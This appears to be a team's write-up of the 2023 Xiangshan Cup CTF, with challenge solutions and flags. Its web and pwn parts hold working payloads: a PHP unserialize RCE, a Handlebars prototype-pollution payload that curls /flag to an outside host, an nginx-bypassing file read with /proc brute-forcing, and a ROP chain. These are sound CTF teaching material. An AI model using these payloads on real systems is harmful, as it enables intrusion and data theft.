香山杯 2023

UKFC 2023 香山杯 Writeup

Misc

签到

base64 + rot3

LeNet

由于并不太懂 ai,gpt 给的一开始给了四个默认的 relu 来连接。逆向一下 pkl 文件,发现里面除了 relu 还有 sigmoid,但是并不知道哪层该用哪个。

于是直接尝试 2^4=16 种可能,都试了一次

最后跑到比较眼熟的 Zmxh 前缀,b64 解码下(把输入数据转换成图片,发现这个模型要么是乱训练的要么标号改了)

Pintu

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from zipfile import ZipFile
from io import BytesIO
from PIL import Image
from libnum import n2s
from base64 import b32decode, b64decode
bin_data = ''
dec_data = ''
with ZipFile('./pintu.zip') as zipfile:
    for i in range(1, 4704):
        bio = BytesIO(zipfile.read(f'pintu/{i}.png'))
        image = Image.open(bio)
        pixel = image.getpixel((0, 0))
        dec_data += chr(int(str(image.height), 8))
        if pixel == (255, 255, 255): ## 白
            bin_data += '1'
        else:
            bin_data += '0'
    bin_data = bin_data.zfill((len(bin_data)+1)*8//8)
    tips2 = n2s(int(bin_data, 2)).decode()
    print(tips2)
    new_b64 = 'sUvcu5rgSeAmJQCfdXtEMKIB91Lj3niOo4hyV0b/2azpx8HqZP6wk7GNlTFYDR+W'
    old_b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    data = ''
    for dec in dec_data.split(' '):
        data += chr(int(dec, 10))
    print(data)
    data = b32decode(data).decode()
    trans = ''.maketrans(new_b64, old_b64)
    b64png = b64decode(data.translate(trans)).decode().split(' ')[0]
    png_data = b64decode(b64png)
    print(png_data)
    open('./piet.png', 'wb').write(png_data)
## sUvcu5rgSeAmJQCfdXtEMKIB91Lj3niOo4hyV0b/2azpx8HqZP6wk7GNlTFYDR+W

Web

PHP_unserialize_pro

1
2
3
?data=O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:26:"more /[0-z][0-z][0-z][0-z]";}}

dir ..看文件名

meow_blog

原型链污染 + handlebars 漏洞直接打。

原型链污染的 waf 没啥用,外面再套一层就行了。

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
POST /register HTTP/1.1
Host: 39.106.48.123:38932
Content-Length: 285
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://39.106.48.123:38932
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://39.106.48.123:38932/register
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"a":{"__proto__":{"body":[{"type":"MustacheStatement","path":0,"params":[{"type":"NumberLiteral","value":"console.log(process.mainModule.require('child_process').execSync('curl http://skadi.vip:7790/`cat /flag`').toString())"}],"loc":{"start":0}}],"type":"Program"}},"password":"123"}

之后在自己的服务器上开一个 web 服务器。

然后打开/post/\[id\]触发 handlebars.compile,就能获取 flag。

sharedBox

无 rce,依靠爆破 /proc 目录来获得 flag。

首先任意文件读是通过审计源码获得的。

1
2
3
4
5
6
7
8
9
GET /fileview/onlinePreview?url=http://localhost:8012/getCorsFile?urlPath=%25%36%36%25%36%39%25%36%63%25%36%35%25%33%61%25%32%66%25%32%66%25%32%66%25%37%34%25%36%64%25%37%30%25%32%66%25%36%64%25%37%39%25%36%34%25%36%31%25%37%34%25%36%31%25%36%32%25%36%31%25%37%33%25%36%35%25%32%65%25%36%34%25%36%32%26fullfilename=a.txt HTTP/1.1
Host: 123.56.25.124:16889
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://123.56.25.124:16889/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

具体而言 onlinePreview 路由的 url 参数中传入 fullfilename 会被当成真正的文件名。然后会从 http://localhost:8012/getCorsFile?urlPath=< 文件 path> 中下载(直接访问/getCorsFile 会被过滤)。

这里的 urlPath 参数通过二次编码绕过 nginx 对 proc 的保护。

flag 信息在/root/start.sh 下,审计/root/flag.java 得知该进程读取 flag 所在文件然后一直挂着。合理推测 proc 目录中会有一个 fd 包含 flag。因此考虑爆破 proc 目录。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
def urlencode(buf:str):
    out = ""
    for i in buf:
        tmp = hex(ord(i))
        if len(tmp) < 4:
            tmp = "%0"+tmp.replace("0x", "")
        else:
            tmp = "%"+tmp.replace("0x", "")
        out += tmp
    return out

def read_file(file_path):
    url = "http://59.110.125.41:33830/fileview/onlinePreview?url=http://localhost:8012/getCorsFile?urlPath=$%26fullfilename=123.txt"
    payload = urlencode(urlencode(file_path))
    res = requests.get(url.replace("$", payload))
    res = requests.get("http://59.110.125.41:33830/fileview/123.txt", timeout=3)
    if(len(res.text)>0):
        print(file_path)
        print(res.text)
  

for i in range(0, 60):
    file_path = f"file:///proc/{i}/cmdline"

    read_file(file_path)

爆破全部和该进程有关的 pid。 用第一个 pid(这里是 29)来爆破 fd 目录。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
def urlencode(buf:str):
    out = ""
    for i in buf:
        tmp = hex(ord(i))
        if len(tmp) < 4:
            tmp = "%0"+tmp.replace("0x", "")
        else:
            tmp = "%"+tmp.replace("0x", "")
        out += tmp
    return out

def read_file(file_path):
    url = "http://59.110.125.41:33830/fileview/onlinePreview?url=http://localhost:8012/getCorsFile?urlPath=$%26fullfilename=123.txt"
    payload = urlencode(urlencode(file_path))
        res = requests.get(url.replace("$", payload))
    try:
        res = requests.get("http://59.110.125.41:33830/fileview/123.txt", timeout=3)
    except:
        pass
    else:
        if(len(res.text)>0):
            print(file_path)
            print(res.text)
  

for i in range(3, 30):
    file_path = f"file:///proc/29/fd/{i}"

    read_file(file_path)

最后在/proc/29/fd/6 找到 flag。

database.password=flag{e982f788-c719-438c-8705-c8111a9008f5}

Re

URL 从哪儿来

  • 先动调停在文件关闭之前,把第二个 exe 提取出来,上面有文件路径,tmp 后缀变 exe

  • 动调第二个 exe,停在函数返回值位置,直接得到 flag

hello_py

  • assert 里改后缀,打开得到 hello.py

  • 然后常规 xxtea 加密,直接脚本解
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <stdio.h>  
#include <stdint.h>  
#define DELTA 0x9e3779b9  
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))  
  
void btea(uint32_t *v, int n, uint32_t const key[4])  
{  
    uint32_t y, z, sum;  
    unsigned p, rounds, e;  
    if (n > 1)            /* Coding Part */  
    {  
        rounds = 6 + 52/n;  
        sum = 0;  
        z = v[n-1];  
        do  
        {  
            sum += DELTA;  
            e = (sum >> 2) & 3;  
            for (p=0; p<n-1; p++)  
            {  
                y = v[p+1];  
                z = v[p] += MX;  
            }  
            y = v[0];  
            z = v[n-1] += MX;  
        }  
        while (--rounds);  
    }  
    else if (n < -1)      /* Decoding Part */  
    {  
        n = -n;  
        rounds = 6 + 52/n;  
        sum = rounds*DELTA;  
        y = v[0];  
        do  
        {  
            e = (sum >> 2) & 3;  
            for (p=n-1; p>0; p--)  
            {  
                z = v[p-1];  
                y = v[p] -= MX;  
            }  
            z = v[n-1];  
            y = v[0] -= MX;  
            sum -= DELTA;  
        }  
        while (--rounds);  
    }  
}  
  
  
int main()  
{  
    uint32_t v[9]= {689085350 ,626885696 ,1894439255 ,1204672445 ,1869189675 ,475967424 ,1932042439 ,1280104741 ,2808893494};  
    uint32_t const k[4]= {12345678 ,12398712 ,91283904 ,12378192};  
    int n= 9; 
    btea(v, -n, k);  
    for(int i = 0; i < 9; i++){
      printf("%c",v[i]&0xff);
      printf("%c",(v[i]>>8)&0xff);
      printf("%c",(v[i]>>16)&0xff);
      printf("%c",(v[i]>>24)&0xff);  

    }
    return 0;  
}  

// c1f8ace6-4b46-4931-b25b-a1010a89c592

nesting

  • sde 扩展指令集 –icount
  • 通过执行的指令数量反馈判断 flag 是否正确,逐位爆破
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

context.log_level = 'ERROR'


def test(flag):
    r = process([os.path.expanduser('~/sde-external/sde64'),
                '-icount',
                 '--',
                 './nesting'])
    r.sendline(flag)
    r.recvuntil(b'ICOUNT: ')
    icount = int(r.recvline())
    r.close()
    return icount


t = '0123456789abcdef-'

flag = b'flag{'
flag_len = 50
prev_icount = test((flag).ljust(flag_len, b'*'))
print(prev_icount)

for i in range(flag_len):
    not_found = True
    for ch in t:
        print('\r testing:', ch, end='')
        icount = test((flag+ch.encode()).ljust(flag_len, b'*'))
        if icount - prev_icount > 50000:
            flag += ch.encode()
            prev_icount = icount
            print(' |', prev_icount, flag)
            not_found = False
            break
    if not_found:
        print('\n\nfinish?')
        exit(0)

第一层虚拟机:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
unsigned __int16 __fastcall vm::step(VM *this)
{
  unsigned int opcode; // eax
  unsigned __int16 v2; // dx
  unsigned __int16 v3; // ax
  unsigned __int16 v4; // cx
  unsigned __int16 v5; // cx
  unsigned __int16 v6; // ax
  unsigned __int16 result; // ax
  unsigned __int16 sreg; // [rsp+1Eh] [rbp-2h]

  sreg = this->regs[this->mem[this->pc + 2]];
  opcode = this->mem[this->pc];
  if ( opcode > 0xFC )
    return 0;
  if ( this->mem[this->pc] < 0xB0u )
  {
    if ( this->mem[this->pc] <= 0xA0u )
    {
      if ( this->mem[this->pc] >= 0x80u )
      {
        switch ( this->mem[this->pc] )
        {
          case 0x80u:
            this->regs[this->mem[this->pc + 1]] = sreg;
            this->pc += 3;
            break;
          case 0x81u:
            this->regs[this->mem[this->pc + 1]] = (this->mem[this->pc + 3] << 8) | this->mem[this->pc + 2];
            this->pc += 4;
            break;
          case 0x90u:
            this->regs[this->mem[this->pc + 1]] += sreg;
            this->pc += 3;
            break;
          case 0x91u:
            this->regs[this->mem[this->pc + 1]] += this->mem[this->pc + 2] | (this->mem[this->pc + 3] << 8);
            this->pc += 4;
            break;
          case 0xA0u:
            this->regs[this->mem[this->pc + 1]] -= sreg;
            this->pc += 3;
            break;
          default:
            return 0;
        }
      }
      else if ( opcode == 0x4C )
      {
        v3 = this->_sp;
        this->_sp = v3 - 1;
        this->regs[this->mem[this->pc + 1]] = this->stack[v3];
        this->pc += 2;
      }
      else if ( this->mem[this->pc] <= 0x4Cu )
      {
        if ( this->mem[this->pc] > 0x29u )
        {
          if ( opcode == 0x48 )
          {
            v2 = this->regs[this->mem[this->pc + 1]];
            this->stack[++this->_sp] = v2;
            this->pc += 2;
          }
        }
        else if ( this->mem[this->pc] >= 8u )
        {
          switch ( this->mem[this->pc] )
          {
            case 8u:
              this->regs[this->mem[this->pc + 1]] = this->mem[sreg];
              this->pc += 3;
              break;
            case 0xAu:
              this->regs[this->mem[this->pc + 1]] = (this->mem[sreg + 1] << 8) | this->mem[sreg];
              this->pc += 3;
              break;
            case 0x18u:
              this->mem[this->regs[this->mem[this->pc + 1]]] = sreg;
              this->pc += 3;
              break;
            case 0x1Au:
              this->mem[this->regs[this->mem[this->pc + 1]]] = sreg;
              this->mem[this->regs[this->mem[this->pc + 1]] + 1] = HIBYTE(sreg);
              this->pc += 3;
              break;
            case 0x28u:
              this->flags = sreg == this->regs[this->mem[this->pc + 1]];
              this->pc += 3;
              break;
            case 0x29u:
              this->flags = this->regs[this->mem[this->pc + 1]] == (this->mem[this->pc + 2] | (this->mem[this->pc + 3] << 8));
              this->pc += 4;
              break;
            default:
              return 0;
          }
        }
      }
    }
    return 0;
  }
  switch ( this->mem[this->pc] )
  {
    case 0xB0u:
      this->regs[this->mem[this->pc + 1]] ^= sreg;
      this->pc += 3;
      return 0;
    case 0xC1u:
      this->regs[this->mem[this->pc + 1]] *= this->mem[this->pc + 2] | (unsigned __int16)(this->mem[this->pc + 3] << 8);
      this->pc += 4;
      return 0;
    case 0xE0u:
      this->pc = this->mem[this->pc + 1] | (this->mem[this->pc + 2] << 8);
      return 0;
    case 0xE8u:
      if ( this->flags )
        this->pc = this->mem[this->pc + 1] | (this->mem[this->pc + 2] << 8);
      else
        this->pc += 3;
      return 0;
    case 0xECu:
      if ( this->flags )
        this->pc += 3;
      else
        this->pc = this->mem[this->pc + 1] | (this->mem[this->pc + 2] << 8);
      return 0;
    case 0xEEu:
      v4 = this->pc + 2;
      this->stack[++this->_sp] = v4;
      this->pc = this->regs[this->mem[this->pc + 1]];
      return 0;
    case 0xEFu:
      v5 = this->pc + 3;
      this->stack[++this->_sp] = v5;
      this->pc = this->mem[this->pc + 1] | (this->mem[this->pc + 2] << 8);
      return 0;
    case 0xF0u:
      v6 = this->_sp;
      this->_sp = v6 - 1;
      this->pc = this->stack[v6];
      return 0;
    case 0xF8u:
      result = -1;
      break;
    case 0xFCu:
      if ( this->regs[0] )
        this->regs[0] = read(0, &this->mem[this->regs[1]], this->regs[2]);
      else
        write(1, &this->mem[this->regs[1]], this->regs[2]);
      ++this->pc;
      return 0;
    default:
      return 0;
  }
  return result;
}

动调 dump 出执行的代码,写脚本解析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
codes = open('./codes', 'rb').read()
pc = 0
while pc < len(codes):
    print('0x%04x: ' % pc, end='')
    opcode = codes[pc]
    if opcode == 0x08:
        print('mov r%d, byte [r%d]' % (codes[pc + 1], codes[pc + 2]))
        pc += 3
    elif opcode == 0x0a:
        print('mov r%d, word [r%d]' % (codes[pc + 1], codes[pc + 2]))
        pc += 3
    elif opcode == 0x18:
        print('mov byte [r%d], r%d' % (codes[pc + 1], codes[pc + 2]))
        pc += 3
    elif opcode == 0x1a:
        print('mov word [r%d], r%d' % (codes[pc + 1], codes[pc + 2]))
        pc += 3
    elif opcode == 0x28:
        print('cmp r%d, r%d' % (codes[pc + 1], codes[pc + 2]))
        pc += 3
    elif opcode == 0x29:
        print('cmp r%d, 0x%04x' % (codes[pc + 1], codes[pc + 2] | (codes[pc + 3] << 8)))
        pc += 3
    elif opcode == 0x48:
        print('push r%d' % codes[pc + 1])
        pc += 2
    elif opcode == 0x4c:
        print('pop r%d' % codes[pc + 1])
        pc += 2
    elif opcode == 0x80:
        print('mov r%d, r%d' % (codes[pc + 1], codes[pc + 2]))
        pc += 3
    elif opcode == 0x81:
        print('mov r%d, 0x%04x' % (codes[pc + 1], codes[pc + 2] | (codes[pc + 3] << 8)))
        pc += 4
    elif opcode == 0x90:
        print('add r%d, r%d' % (codes[pc + 1], codes[pc + 2]))
        pc += 3
    elif opcode == 0x91:
        print('add r%d, 0x%04x' % (codes[pc + 1], codes[pc + 2] | (codes[pc + 3] << 8)))
        pc += 4
    elif opcode == 0xa0:
        print('sub r%d, r%d' % (codes[pc + 1], codes[pc + 2]))
        pc += 3
    elif opcode == 0xb0:
        print('xor r%d, r%d' % (codes[pc + 1], codes[pc + 2]))
        pc += 3
    elif opcode == 0xc1:
        print('mul r%d, 0x%04x' % (codes[pc + 1], codes[pc + 2] | (codes[pc + 3] << 8)))
        pc += 4
    elif opcode == 0xe0:
        print('jmp 0x%04x' % (codes[pc + 1] | (codes[pc + 2] << 8)))
        pc += 3
    elif opcode == 0xe8:
        print('je 0x%04x' % (codes[pc + 1] | (codes[pc + 2] << 8)))
        pc += 3
    elif opcode == 0xec:
        print('jne 0x%04x' % (codes[pc + 1] | (codes[pc + 2] << 8)))
        pc += 3
    elif opcode == 0xee:
        print('call r%d' % codes[pc + 1])
        pc += 2
    elif opcode == 0xef:
        print('call 0x%04x' % (codes[pc + 1] | (codes[pc + 2] << 8)))
        pc += 3
    elif opcode == 0xf0:
        print('ret')
        pc += 1
    elif opcode == 0xf8:
        print('halt')
        pc += 1
    elif opcode == 0xfc:
        print('syscall')
        pc += 1
    else:
        print('\r', end='')
        pc += 1
        pass

print()

得到的代码手动解析化简:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
0x0000: jmp 0x01e1

// 0x0003
unsigned short sub_0003() {
    return word [sub_01a3() + 2];
}

// 0x000e
unsigned short sub_000e() {
    return [sub_01a3() + 1];
}

// 0x0019
unsigned short sub_0019() {
    return [sub_01a3() + 2];
}

// 0x0024:
void sub_0024() {
    sub_01b7(sub_000e(), sub_01ab(sub_0019()));
    sub_0192(3);
}

// 0x003b:
void sub_003b() {
    sub_01b7(sub_000e(), sub_0003());
    sub_0192(4);
}

// 0x004f
void sub_004f() {
    [sub_01ab(sub_000e())] = sub_01ab(sub_0019());
    sub_0192(3);
}

// 0x0069
void sub_0069() {
    sub_01b7(sub_000e(), [sub_01ab(sub_0019())]);
    sub_0192(3);
  
}

// 0x0080
void sub_0080() {
    sub_01b7(sub_000e(), sub_01ab(sub_000e()) + sub_01ab(sub_0019()));
    sub_0192(3);
}

// 0x00a1
void sub_00a1() {
    sub_01b7(sub_000e(), sub_01ab(sub_000e()) - sub_01ab(sub_0019()));
    sub_0192(3);
}

// 0x00c5
void sub_00c5() {
    sub_01b7(sub_000e(), sub_01ab(sub_000e()) ^ sub_01ab(sub_0019()));
    sub_0192(3);
}

// 0x00e6
void sub_00e6() {
    sub_01b7(0xe, sub_01ab(sub_000e()) == sub_01ab(sub_0019()));
    sub_0192(3);
}

// 0x0114
void sub_0114() {
    if (!sub_01ab(0xe)) {
        sub_01b7(0xf, word [sub_01a3() + 1]);
    } else {
        sub_0192(3);
    }
}

// 0x013e
void sub_013e() {
    sub_01b7(0x0, syscall(1, sub_01ab(0), sub_01ab(1)));
    sub_0192(1);
}

// 0x0168
void sub_0168() {
    sub_01b7(0x0, syscall(0, sub_01ab(0), sub_01ab(1)));
    sub_0192(1);
}

// 0x0192
void sub_0192(count) {
    sub_01b7(15, sub_01a3() + count);
}

// 0x01a3
unsigned short sub_01a3() { // get arr[15]
    return sub_01ab(15);
}

// 0x01ab
unsigned short sub_01ab(index) { // get arr
    return arr[index]; // 0x0a00
}

// 0x01b7
void sub_01b7(index, value) { // set arr
    arr[index] = value; // 0x0a00
}


void (*funcs[])() = {
    0x0024,
    0x003b,
    0x004f,
    0x0069,
    0x0080,
    0x00a1,
    0x00c5,
    0x00e6,
    0x0114,
    0x013e,
    0x0168
};

// 0x01c3
void sub_01c3() {
    // codes = b'\x01\x00\x00\x0e\x01\x01\x10\x00\n\x01\x00\x00\x0f\x01\x01\x00\x01\t\x00\x03\x00\x01\x02\x00\r\x01\r\x00\x04\x01\x04\x00\x00\x01\x05\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x04\x04\x01\x00\x06\x02\x04\x06\x04\x00\x0b'
    while (1) {
        r0 = [sub_01a3()];
        if (r0 == 0xb) break;
        funcs[r0](); // 0x0800
    }
}

// 0x01e1
void sub_01e1() {
    sub_01b7(15, 0x0c00);
    sub_01c3();
}

解析第二层 vm:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
codes = b'\x01\x00\x00\x0e\x01\x01\x10\x00\n\x01\x00\x00\x0f\x01\x01\x00\x01\t\x00\x03\x00\x01\x02\x00\r\x01\r\x00\x04\x01\x04\x00\x00\x01\x05\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x04\x04\x01\x00\x06\x02\x04\x06\x04\x00\x0b\x06\x03\x06\x06\x04\x05\x06\x02\r\x05\x03\x05\r\x00\x07\x02\x04\x07\x05\x00\x0c\x07\x03\x07\x07\x02\x0c\x06\x02\x0b\x07\x00\x08\x06\x04\x08\x07\x02\r\x08\x03\x08\r\x00\t\x02\x04\t\x08\x03\t\t\x01\n\x00\x0f\x04\n\x00\x03\n\n\x06\n\t\x01\x0b\x00\x0b\x04\x0b\x00\x02\x0b\n\x04\x00\x01\x07\x00\x03\x08-\x0c\x01\x00\x00\x00\x01\x01\x00\x0b\x01\x02\x18\x0e\x01\x03*\x00\x01\r\x01\x00\x03\x04\x01\x03\x05\x02\x04\x01\r\x04\x02\r\x07\x04\x05\x08\xce\x0c\x04\x00\r\x07\x00\x03\x08\xa0\x0c\x01\x00\x10\x0e\x01\x01\x04\x00\n\x01\x014\x12\x07\x00\x01\x08\xe1\x0c\x01\x00\x14\x0e\x01\x01\x04\x00\n\x01\x014\x12\x07\x00\x01\x08\xe1\x0c\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
pc = 0
while pc < len(codes):
    print('0x%03x: ' % (pc + 0xc00), end='')
    opcode = codes[pc]
    if opcode == 0:
        print('mov r%d, r%d' % (codes[pc + 1], codes[pc + 2]))
        pc += 3
    elif opcode == 1:
        print('mov r%d, 0x%x' % (codes[pc + 1], codes[pc + 2] | (codes[pc + 3] << 8)))
        pc += 4
    elif opcode == 2:
        print('mov [r%d], r%d' % (codes[pc + 1], codes[pc + 2]))
        pc += 3
    elif opcode == 3:
        print('mov r%d, [r%d]' % (codes[pc + 1], codes[pc + 2]))
        pc += 3
    elif opcode == 4:
        print('add r%d, r%d' % (codes[pc + 1], codes[pc + 2]))
        pc += 3
    elif opcode == 5:
        print('sub r%d, r%d' % (codes[pc + 1], codes[pc + 2]))
        pc += 3
    elif opcode == 6:
        print('xor r%d, r%d' % (codes[pc + 1], codes[pc + 2]))
        pc += 3
    elif opcode == 7:
        print('cmp r%d, r%d' % (codes[pc + 1], codes[pc + 2]))
        pc += 3
    elif opcode == 8:
        print('jnz 0x%x'% (codes[pc + 1] | (codes[pc + 2] << 8)))
        pc += 3
    elif opcode == 9:
        print('read')
        pc += 1
    elif opcode == 10:
        print('write')
        pc += 1
    elif opcode == 11:
        print('halt')
        pc += 1
    else:
        print('\r', end='')
        pc += 1

print()

再化简:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
print('Input your flag:')
_f00 = input()
r3 = len(_f00)
r5 = 0
r0 = 0

while r0 != r3:
    r6 = 0xd00 + r0 + 1
    r5 += [r6]
    r7 = 0xd00 + r5
    [r6], [r7] = [r7], [r6]

    r8 = [r6] + [r7]
    r9 = [0xd00 + r8]
    r10 = [0xf00 + r0] ^ r9
    [0xb00 + r0] = r10
    r0 += 1


r0 = 0x0
r1 = 0xb00
r2 = 0xe18
r3 = 0x2a
r13 = 0x1

while r0 != r3:
    r4 = [r1]
    r5 = [r2]
    r1 += r13
    r2 += r13
    if r4 != r5:
        print('Nope')
        exit(0)
    r0 += r13
print('True')

rc4 的加密算法,直接照抄

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
data = bytearray(b"2\x9a\x93`\x806f9>c\xf0}$'u77\x00\x8d\x8a\xf6!\x9e\x91bs\x1d\xac@\xaf\x05~+r\xfcth\x00g\x87\xe8\x08")
sbox = list(b' \x15\xca\x88.\xe5\x89\x87\x80\xdf*\x86\x99^\x14N,\x90l\x19\x03\xd8\r\xcc\x18\xa6S\x8e~\x94\x1e\x93u\xb46aI\xc6\xd4X\xf5\x8a\xc3+\x8f\xa2\xee\x1dL\xae\x05H\x9f\x96M\xdc\xe6\xf9/WOg;\xc5B\xe9\x12A\xad=\xcf\x1bK\xb6\xf2\x04\xf7\x1a\x92\xb1k\xc7V7\xb8y\xe2#\xea:R\x16\xbb-\xc0\xe1\xf04\x8b\xc4e\x9eU\xc2&\x9af\xb7\x8ds\x9c\xd5\x0f9\t!Zb\xd6\nE\xaa\xdd8\xd1\xb9\x81\xc8\x00\xe75\xbf\xa5\xb3\x01\x0cv\xbd\xab\x9dY\x10\x08[\\J\xe0@\xa8\x84C\x8c\xcb\x13\xd7\xba\x02\xc1\xa9%1<\xf3r\xaf"Q\xda\xfe$\x0e\xac?\x17\xe3\xd2\xe4\xfa\x07o\xb5\xce\xd0\xfc\x06h\xa4\xf8\xde\x11\xa3m2\xa1\xfb\x95\xc9\xfdtG\x0b\xb2\xf4\xecj\x7f\xe8P\xed}iz\x98p\xa0`\xcd\x9b\x85q\xefn]\'\x91\xd3\xd9\x1f\x1cd\x97{\x83\xff\xbe_wT\xeb>D\xf6\xa7\xf1\xb0F\xdb)\xbcxc(30|\x82')


r5 = 0
r0 = 0

while r0 != len(data):
    r6 = r0 + 1
    r5 += sbox[r6]
    r7 = r5 & 0xff
    sbox[r6], sbox[r7] = sbox[r7], sbox[r6]

    r8 = sbox[r6] + sbox[r7] & 0xff
    r9 = sbox[r8]
    data[r0] ^= r9
    r0 += 1

print(data.decode())

## flag{2c7c093b-f648-11ed-a716-701ab8caaafe}

Pwn

<strong>Move</strong>

漏洞审计

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[4]; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  puts("I heard you traveled during the MAY DAY holiday?");
  puts("lets travel again!");
  read(0, &sskd, 0x20uLL);
  printf("Input your setp number");
  read(0, buf, 4uLL);
  vuln(buf);
  return 0;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
__int64 __fastcall vuln(_DWORD *a1)
{
  char buf[48]; // [rsp+10h] [rbp-30h] BYREF

  if ( *a1 == 0x12345678 )
  {
    write(1, "TaiCooLa", 8uLL);
    read(0, buf, 0x40uLL);
  }
  return 0LL;
}

题目中主函数有写入 0x20 字节的固定地址(bss 段)。同时传参传入 0x12345678 后可以进入 vuln,vuln 存在溢出两字长,符合栈迁移(migration)的基本特征,可以迁移到 bss 段上,bss 段足够长不需要进行抬栈类似的操作。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
payload=flat(pop_rdi_ret,puts_got,puts_plt,main)

io.send(payload)

io.recvuntil(b'number')
io.send(p32(0x12345678))

io.recvuntil(b'La')
payload=b'a'*0x30+p64(bss)+p64(leave_ret)
io.send(payload)

可以泄露出 puts 函数真实地址。

1
2
3
puts=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=puts-0x80970
print('libc_base:',hex(libc_base))

970 为最后三位,到 libcblukatme 可以查到是 2.27,直接使用 system 和 binsh 地址即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
system=libc_base+0x4f420
binsh=libc_base+0x1d3d88

io.recvuntil(b'again!\n')
payload=flat(pop_rdi_ret,0x4050B8,system,b'cat flag')
io.send(payload)

#io.recvuntil(b'number')
io.send(p32(0x12345678))

#io.recvuntil(b'La')
payload=b'a'*0x30+p64(bss)+p64(leave_ret)
io.send(payload)

执行攻击,没有使用 libc 里面的 binsh 地址,当时攻击时有 sh 字样,但是字符串不对,表明确实执行了 system,但字符串有问题,所以最后选择自己写了一个 cat flag(事实上’;sh;‘应该没有问题但是 shell 里面没有;所以没有利用成功)

完整 exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
